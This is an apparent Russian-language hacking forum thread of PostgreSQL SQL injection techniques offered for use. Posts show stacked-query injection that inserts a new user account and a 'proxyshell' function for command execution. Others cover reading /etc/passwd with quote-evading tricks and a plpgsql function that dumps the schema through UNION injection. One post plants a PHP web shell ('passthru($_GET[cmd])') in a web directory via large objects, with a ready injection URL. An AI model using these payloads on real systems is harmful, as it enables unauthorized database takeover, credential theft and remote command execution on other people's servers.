![]() |
в его случае права у юзера полные
просто там база данных находится на другом сервере Цитата:
|
пытаюсь зарегать нового юзера
таблица user колонки login и passwd пробую так: id=27;INSERT INTO user(login) VALUES ('значение логина'); выдает ошибку типа поле пароль пустое(ну правильно, логично) как сделать запрос чтоб сразу заполнить два поля(логин и пароль)? сам спросил, сам и отвечаю в моем случае ...=3;INSERT+INTO+users+(id,login,pass)+VALUES+(3, сюда логин, сюда пасс,);-- |
Небольшое дополнение в тему создания функций.
1. В PostgreSQL < 8.1 есть возможность добавить функцию из библиотеки: Создаем таблицу stdout с колонками id,system_out. Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
Создаем язык, если он не был создан. Цитата:
Цитата:
Цитата:
Создаем функцию proxyshell(). Цитата:
Цитата:
|
У меня просьба(а если кто-то уже знает ответ, то вопрос): можно ли при чтении файлов вместо '/etc/passwd' писать chr(47)||chr(101)||chr(116)||chr(99)||chr(47)||chr (112)||chr(97)||chr(115)||chr(115)||chr(119)||chr( 100) по аналогии с mysql?
А если никто не знает, то просьба тем, у кого есть возможность(типа рут привелегии или т.п.), проверить такой способ, т.к. у меня не получилось =/ Первоначальный вариант не подошел, т.к. кавычки экранируются. |
если версия >8.0, то можно так
$$/etc/passwd$$ |
откуда такая инфа можна пример?
|
http://www.postgresql.org/docs/8.4/static/sql-syntax-lexical.html
http://www.postgresql.org/docs/8.4/static/release-8-0.html какой тебе пример нужен? скулю показать где это работает? |
Прощай лимит
Если у нас установлен процедурный язык plpgsql Код:
select lanname from pg_language where lanname='plpgsql'Для этого создаем функцию Код:
CREATE OR REPLACE FUNCTION getall (text,text,text,text,text) RETURNS text AS $func$Функция ориентирована на использование в конструкции Union, т.к разделителем выступает тег <br> екземпл id=-1 union select getall('information_schema','columns','column_name ','table_name','table_schema') |
GROUP_CONCAT() в PostgreSQL
Код:
SELECT array_to_string(array(SELECT field FROM table), ', '); |
Вариант заливки шелла
Заливка шелла через большие объекты (large objects).
1. Создаем LO. Код:
dbname=# SELECT lo_create(-1);2. Подготовим шелл и пропишем его в БД Код:
dbname=# UPDATE pg_largeobject SET data = '<?php passthru($_GET[cmd]); ?>' WHERE loid = 4294967295;Код:
dbname=# SELECT lo_export(4294967295, '/var/www/public_html/uploads/shell.php');Код:
dbname=# SELECT lo_unlink(4294967295);Код:
http://site.com/index.php?id=1;select+lo_creat(37337);update+pg_largeobject+set+data=$$some_code$$+where+loid=37337;select+lo_export(37337,$$some_file$$);select+lo_unlink(37337);--PS. Ну и случайно нашел. На запрос типа Код:
http://site.com/index.php?id=1+and+1=(select+*+from+sometable+as+q(a,b,c,d,e,f))Код:
ERROR: table "q" has 5 columns available but 6 columns specifiedКод:
ERROR: subquery must return only one column |
| Время: 10:31 |